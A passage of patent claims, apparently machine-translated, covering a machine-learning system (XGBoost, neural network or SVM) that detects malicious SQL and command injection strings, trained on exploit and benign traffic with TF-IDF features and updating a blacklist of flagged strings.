6. The system of claim 1, wherein the machine learning model is a tree-based model.

7. The system of claim 6, wherein the tree-based model is trained using an XGBoost machine learning process.

8. The system of claim 1, wherein the machine learning model is a neural network based model.

9. The system of claim 1, wherein the machine learning model is a support vector machine based model.

10. The system of claim 1, wherein the machine learning model is generated based at least in part on: Obtain sample vulnerability exploit traffic; and A set of exploit signatures is obtained based at least in part on the sample exploit traffic.

11. The system of claim 10, wherein: The machine learning model is further generated based at least in part on obtaining sample benign traffic; and The vulnerability exploit feature set is further obtained based at least in part on the sample benign traffic.

12. The system according to claim 10, wherein obtaining sample vulnerability exploitation traffic comprises: Generate sample exploit traffic using one or more exploit tools.

13. The system of claim 10, wherein the sample vulnerability exploit traffic is based at least in part on historical vulnerability exploit traffic.

14. The system of claim 1, wherein the SQL or command injection string is obtained based at least in part on input from a user interface.

15. The system of claim 1, wherein the one or more processors are further configured to: In response to determining that the SQL or command injection string is malicious, a blacklist of SQL or command injection strings considered malicious is updated, the blacklist of SQL or command injection strings being updated to include an identifier corresponding to the obtained SQL or command injection string.

16. A method comprising: Obtain SQL or command injection strings through one or more handlers; as well as Determining whether a SQL or command injection string is malicious based at least in part on a machine learning model.

17. A computer program product embodied in a non-transitory computer readable medium and comprising computer instructions for: Obtaining SQL or command injection strings through one or more handlers; and Determining whether a SQL or command injection string is malicious based at least in part on a machine learning model.

18. A system comprising: One or more processors configured to: Perform malicious signature extraction; performing exploit feature extraction based at least in part on term frequency-inverse document frequency (TF-IDF); as well as Generate a set of feature vectors for training a machine learning model for detecting SQL and / or command injection network attacks; as well as A memory is coupled to the one or more processors and configured to provide instructions to the one or more processors.

19. The system of claim 18, wherein the one or more processors are further configured to: Obtain sample vulnerability exploit traffic; Obtain sample benign traffic; and A set of exploit signatures is obtained based at least in part on the sample exploit traffic and the sample benign traffic.

20. The system of claim 19, wherein one or more of the sample vulnerability exploit traffic and the sample benign traffic is generated using a traffic generation tool.

Images